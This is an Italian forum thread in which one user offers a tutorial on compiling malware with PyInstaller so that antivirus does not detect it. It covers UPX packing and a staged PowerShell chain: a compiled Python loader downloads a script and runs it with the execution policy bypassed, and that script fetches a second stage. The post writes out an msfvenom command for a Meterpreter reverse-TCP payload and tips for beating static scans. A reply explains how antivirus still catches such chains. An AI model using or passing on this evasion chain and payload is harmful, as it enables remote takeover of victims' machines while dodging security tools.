Discussione #SalviamoPyinstaller - Tutorial per insegnare agli script kiddies come compilare i malware senza "sporcare" Pyinstaller

[Netcat]

Non ci possiamo fare niente, dei neofiti mossi dalla foga dell'impulsività, e dalla voglia "cringiosa", molto cringe, di "diventare famosi", o di "fare colpo sulla f*ga(?)", stanno compilando dei malware con Pyinstaller, senza conoscere i concetti di base del malware developing. Questa bravata, questa spacconeria, costituisce un problema per tutti i python-developer (come me), che intendono salvare i propri codici dalla "scure" della deprecazione dei moduli.

Perché sì ragazzi, chiunque si cimenta nel malware developing, purtroppo lo fa perché gli appare "una figata". La deprecazione dei moduli, o delle librerie, costituisce il raggiungimento dell'EOL (End Of Life) della validità di un modulo, che viene aggiornato, o scartato a favore di una sua "variante migliore".

Nel momento in cui un modulo raggiunge l'EOL, il raw code .py smetterà di funzionare, e se andremo ad installare il modulo attraverso il comando pip riceveremo un errore, che ci avviserà della sua deprecazione. Quando questo accade, gli sviluppatori hanno solamente la scelta di aggiornare il proprio codice in accordo con i cambiamenti apportati al modulo deprecato/aggiornato. Non voglio aggiornare il codice? Pena = malfunzionamenti, crash, o addirittura un Traceback che impedisce completamente l'avvio della routine del programma.

Per ovviare a questo problema, si compila il codice in un .exe attraverso Pyinstaller (strumento più noto). Questo compiler, non si limita a compilare il progetto in python in un .exe, perché durante la compilazione importa ed include nell'artefatto finale tutte le dipendenze di cui ha bisogno per funzionare, nella più totale autonomia. Di conseguenza, non si necessita di un interprete, e neppure di andare a cercare "chissà dove" i moduli deprecati.

Tuttavia, un bel giorno, un 12enne sperduto nella tundra russa, decise di fare ransomware scrivendo un PoC in python, compilandoli selvaggiamente con Pyinstaller. Il tutto potrebbe averlo sfruttato per attaccare i settori dell'energia in occidente, oppure potrebbe aver mostrato l'artefatto finale a VirusTotal, giusto per vedere l'output... Non lo sappiamo quale sia stato l'epilogo dell'avventura del giovane, tuttavia abbiamo una certezza: anche compilando Hello World con l'ultima versione di Pyinstaller, le sandbox di virus total dicono che nell'.EXE finale ci sono trojan/ransomware. Dimmi la verità, tu che stai leggendo, eseguiresti un .EXE di fatto innocente, di fronte a queste detection? A meno che non sei un appassionato di reverse engineering, non lo farai.

2 Tecniche per compilare un malware con Pyinstaller, senza "sporcare" le signature del programma:

• UPX packer: questo packer, molto popolare, si adatta flessibilmente agli artefatti generati con Pyinstaller. Il tool è noto per utilizzare una tecnica di compressione dinamica. La compressione dinamica significa che il processo di decompressione avviene in fase di runtime, cioè quando il programma eseguibile è in esecuzione e non prima. Questo è in contrasto con la compressione statica, che avviene prima dell'esecuzione del programma.
  Quando un eseguibile viene compresso con UPX, il suo contenuto viene alterato in modo che al momento dell'esecuzione venga decompresso in memoria. Questo rende difficile per static analysis rilevare la presenza di un packer durante l'analisi statica dell'eseguibile, poiché il file apparirà compresso finché non verrà eseguito.
  
  
• LOLBins or Living Off the Land binary: in questo thread includerò un progetto Python+Powershell che eseguirà con un successo un attacco LOLBins. Questo tipo d'attacco non è facile per i pentester alle prime armi. Noi quando sentiamo parlare di attacchi informatici, pensiamo alla vittima di turno che ha eseguito un documento word che conteneva un payload, ad un exe che conteneva un payload... Ma se avesse eseguito un payload situato su un server remoto, senza neppure scaricarlo?
  Con questa tecnica, al massimo ti ritroverai l'IP del server in blacklist dell'EDR (problema a cui si può ovviare cambiando IP), ma almeno Pyinstaller è sano e salvo

Descrizione dell'attacco LOLBin:
La cartella "LOL.zip" allegata, contiene un file python chiamato LOL.py, questo file python potete anche compilarlo con Pyinstaller, senza usare alcun packer. LOL.py scaricherà da un server remoto un file chiamato script.ps1, e lo eseguirà con subprocess.run(["powershell.exe", "-ExecutionPolicy", "Bypass", script_path], shell=True). Bene, ora Script.ps1 contatterà un secondo file chiamato Script2.ps1 dal server, e lo eseguirà, chiudendo il circuito dell'attacco. Script.ps1, userà la seguente stringa $content = Invoke-WebRequest -Uri $url -UseBasicParsing -Method Get -ContentType "application/octet-stream" per inviare una richiesta GET al server, e trattare la risposta del server come "binary data" (con application/octet-stream).

Script2.ps1 sarà il malware finale che quest'infection-chain andrà ad eseguire. Per generare Script2.ps1, scrivete nel terminal msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=443 -f psh-reflection -o script2.ps1. L'attacco si concluderà con un'istanza di powershell.exe che hosterà questo payload. Sul target device, tutto quello che dobbiamo eseguire per iniziare la chain-attack è LOL.py compilato in un .exe con Pyinstaller, mentre Script.ps1 e Script2.ps1, andranno collocati sul server Apache in ascolto.

Rimarrete sorpresi, da come l'AV flaggherà il ben conosciuto payload di Metasploit, o alla meglio flaggherà lo STAGE 2 dell'attacco (ossia Script.ps1), ma LOL.exe (che prima era LOL.py) rimarrà illeso dalla detection. Per migliorare ulteriormente questa tecnica, dovrete creare una versione personalizzata di Script2.ps1, che almeno superi la scansione statica.

Così, è come generare correttamente i malware con Pyinstaller. E questo thread, come sempre, ha solo scopo educativo. Non siate russi.

 

[JunkCoder]

Questa tecnica non salverà l'eseguibile pyinstaller iniziale da future detection: se l'URL fosse remoto anziché locale, una volta scansionato in cloud seguirebbe la catena fino al powershell e una volta determinato che è un malware verranno flaggati entrambi.

Comunque non temere, più un tool diventa famoso e più l'antivirus è al passo coi tempi, più quest'ultimo sarà in grado di distinguere un exe pyinstaller "normale" da uno nocivo.

Nel caso di UPX infatti inizialmente il suo abuso ha portato diversi falsi positivi ma col tempo gli antivirus hanno implementato l'unpacker automatico e adesso vedono attraverso UPX come se non ci fosse. Con pyinstaller è un po' diverso perché si perde il sorgente originale in favore di file pyc, però non è difficile enumerare le stringhe e i moduli importati e analizzare grossomodo le capability dello script anche staticamente. Non è un sistema perfetto ma almeno l'AV può fare le sue valutazioni quando vede importare combinazioni di moduli comunemente usati per keylog, runpe, injection... Per il resto c'è il behavior monitoring e sandbox cloud.